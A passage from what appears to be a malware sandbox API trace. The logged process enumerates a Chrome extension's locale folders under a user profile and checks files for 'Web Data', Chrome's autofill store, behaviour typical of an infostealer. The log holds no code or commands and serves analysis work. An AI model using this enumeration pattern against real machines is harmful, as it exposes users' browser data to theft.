Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.168] lstrlenA (lpString="de") returned 2 [0056.168] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.168] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0056.168] LocalFree (hMem=0x2daca0) returned 0x0 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned 131 [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned 131 [0056.169] lstrlenA (lpString="\\*.*") returned 4 [0056.169] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.169] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0056.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*" [0056.169] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.169] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.169] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.169] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.169] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.169] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.169] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.169] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.169] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.169] LocalFree (hMem=0x2daca0) returned 0x0 [0056.169] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.169] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.169] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.169] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.169] lstrlenA (lpString="\\") returned 1 [0056.169] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.169] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.169] lstrlenA (lpString="el") returned 2 [0056.169] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.169] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0056.169] LocalFree (hMem=0x2daca0) returned 0x0 [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned 131 [0056.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned 131 [0056.169] lstrlenA (lpString="\\*.*") returned 4 [0056.169] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.169] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0056.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*" [0056.169] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.169] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.169] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.170] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.170] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.170] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.170] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.170] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.170] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.170] LocalFree (hMem=0x2daca0) returned 0x0 [0056.170] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.170] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.170] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.170] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.170] lstrlenA (lpString="\\") returned 1 [0056.170] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.170] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.170] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.170] lstrlenA (lpString="en_GB") returned 5 [0056.170] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.170] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.170] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0056.170] LocalFree (hMem=0x2daca0) returned 0x0 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned 134 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned 134 [0056.170] lstrlenA (lpString="\\*.*") returned 4 [0056.170] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.170] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0056.170] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*" [0056.170] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.170] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.170] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.170] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.170] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.170] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.170] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.170] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.170] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.170] LocalFree (hMem=0x2daec0) returned 0x0 [0056.170] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.170] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.170] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.170] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.170] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.170] lstrlenA (lpString="\\") returned 1 [0056.170] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.171] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.171] lstrlenA (lpString="en_US") returned 5 [0056.171] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.171] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0056.171] LocalFree (hMem=0x2daca0) returned 0x0 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned 134 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned 134 [0056.171] lstrlenA (lpString="\\*.*") returned 4 [0056.171] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.171] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0056.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*" [0056.171] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.171] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.171] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.171] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.171] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.171] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.171] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.171] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.171] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.171] LocalFree (hMem=0x2daec0) returned 0x0 [0056.171] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.171] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.171] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.171] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.171] lstrlenA (lpString="\\") returned 1 [0056.171] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.171] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.171] lstrlenA (lpString="es") returned 2 [0056.171] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.171] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0056.171] LocalFree 